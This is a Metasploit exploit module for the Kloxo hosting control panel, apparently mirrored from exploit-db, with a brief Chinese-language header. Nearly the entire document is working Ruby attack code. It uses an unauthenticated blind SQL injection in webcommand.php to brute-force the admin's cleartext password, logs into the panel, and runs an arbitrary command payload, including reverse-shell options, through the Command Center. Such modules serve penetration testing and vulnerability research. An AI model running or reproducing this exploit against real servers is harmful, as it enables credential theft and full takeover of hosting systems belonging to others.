Kloxo – SQL Injection / Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2014-02-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/31577/
  • ##
    # This module requires Metasploit: http//metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    Rank = ManualRanking
    PASSWORD_PREFIX = '__lxen:'
    BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='
    
    attr_accessor :password
    attr_accessor :session
    attr_accessor :server
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Kloxo SQL Injection and Remote Code Execution',
    'Description'=> %q{
    This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
    exploited in the wild on January 2014. The SQL injection issue can be abused in order to
    retrieve the Kloxo admin cleartext password from the database. With admin access to the
    web control panel, remote PHP code execution can be achieved by abusing the Command Center
    function. The module tries to find the first server in the tree view, unless the server
    information is provided, in which case it executes the payload there.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Unknown', # Discovery, exploit in the wild
    'juan vazquez' # Metasploit Module
    ],
    'References' =>
    [
    ['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild
    ['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'], # kloxo exploited in the wild
    ['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646']# patch discussion
    ],
    'Arch' => ARCH_CMD,
    'Platform' => 'unix',
    'Payload'=>
    {
    'Space' => 262144, # 256k
    'DisableNops' => true,
    'Compat'=>
    {
    'PayloadType' => 'cmd',
    'RequiredCmd' => 'generic perl python gawk bash-tcp netcat'
    }
    },
    'Targets'=>
    [
    ['Kloxo / CentOS', {}]
    ],
    'Privileged' => true,
    'DisclosureDate' => 'Jan 28 2014',
    'DefaultTarget'=> 0))
    
    register_options(
    [
    Opt::RPORT(7778),
    OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])
    ], self.class)
    
    register_advanced_options(
    [
    OptString.new('SERVER_CLASS', [false, 'The server class']),
    OptString.new('SERVER_NAME', [false, 'The server name'])
    ], self.class)
    end
    
    def check
    return Exploit::CheckCode::Safe unless webcommand_exists?
    return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))
    return Exploit::CheckCode::Safe unless pefix_found?
    
    Exploit::CheckCode::Vulnerable
    end
    
    def exploit
    fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable
    
    print_status("#{peer} - Recovering the admin password with SQLi...")
    loot = base64_password
    fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?
    @password = Rex::Text.decode_base64(loot)
    print_good("#{peer} - Password recovered: #{@password}")
    
    print_status("#{peer} - Logging into the Control Panel...")
    @session = send_login
    fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?
    
    report_auth_info(
    :host => rhost,
    :port => rport,
    :user => 'admin',
    :pass => @password,
    :type => 'password',
    :sname => (ssl ? 'https' : 'http')
    )
    
    print_status("#{peer} - Retrieving the server name...")
    @server = server_info
    fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?
    
    print_status("#{peer} - Exploiting...")
    send_command(payload.encoded)
    end
    
    def send_login
    res = send_request_cgi(
    'method'=> 'POST',
    'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),
    'vars_post' =>
    {
    'frm_clientname' => 'admin',
    'frm_password' => @password,
    'login'=> 'Login'
    }
    )
    
    if res && res.code == 302 && res.headers.include?('Set-Cookie')
    return res.get_cookies
    end
    
    nil
    end
    
    def server_info
    
    unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?
    return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }
    end
    
    res = send_request_cgi({
    'uri'=> normalize_uri(target_uri.to_s, 'display.php'),
    'cookie' => @session,
    'vars_get' =>
    {
    'frm_action' => 'show'
    }
    })
    
    if res && res.code == 200 && res.body.to_s =~ /<input type=hidden name="frm_subaction" value ="commandcenter">/
    return parse_display_info(res.body.to_s)
    end
    
    nil
    end
    
    def parse_display_info(html)
    server_info = {}
    pos = html.index(/<input type=hidden name="frm_subaction" value ="commandcenter">/)
    
    if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[class\]" value ="(.*)">/, pos).nil?
    return nil
    else
    server_info[:class] = $1
    end
    
    if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[nname\]" value ="(.*)"> /, pos).nil?
    return nil
    else
    server_info[:name] = $1
    end
    
    server_info
    end
    
    def send_command(command)
    data = Rex::MIME::Message.new
    data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')
    data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')
    data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')
    data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')
    data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')
    data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')
    data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')
    
    post_data = data.to_s
    post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
    
    send_request_cgi({
    'method' => 'POST',
    'uri'=> normalize_uri(target_uri.path.to_s, 'display.php'),
    'ctype'=> "multipart/form-data; boundary=#{data.bound}",
    'cookie' => @session,
    'data' => post_data
    }, 1)
    end
    
    def webcommand_exists?
    res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))
    
    if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/
    return true
    end
    
    false
    end
    
    def pefix_found?
    i = 1
    PASSWORD_PREFIX.each_char do |c|
    return false unless exploit_sqli(i, c)
    i = i + 1
    end
    
    true
    end
    
    def bad_char(pos)
    Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])
    end
    
    def ascii(char)
    char.unpack('C')[0]
    end
    
    def base64_password
    i = PASSWORD_PREFIX.length + 1
    loot = ''
    
    until exploit_sqli(i, "\x00")
    vprint_status("#{peer} - Bruteforcing position #{i}")
    c = brute_force_char(i)
    if c.nil?
    return nil
    else
    loot << c
    end
    vprint_status("#{peer} - Found: #{loot}")
    i = i + 1
    end
    
    loot
    end
    
    def brute_force_char(pos)
    BASE64_RANGE.each_char do |c|
    return c if exploit_sqli(pos, c)
    end
    
    nil
    end
    
    def exploit_sqli(pos, char)
    # $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)
    sqli = "al5i' "
    sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "
    sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"
    
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),
    'vars_get' =>
    {
    'login-class'=> 'client',
    'login-name' => sqli,
    'login-password' => '123456'
    }
    )
    
    if res && res.code == 200 && res.body.blank?
    return true
    elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/
    return false
    end
    
    vprint_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful")
    false
    end
    
    end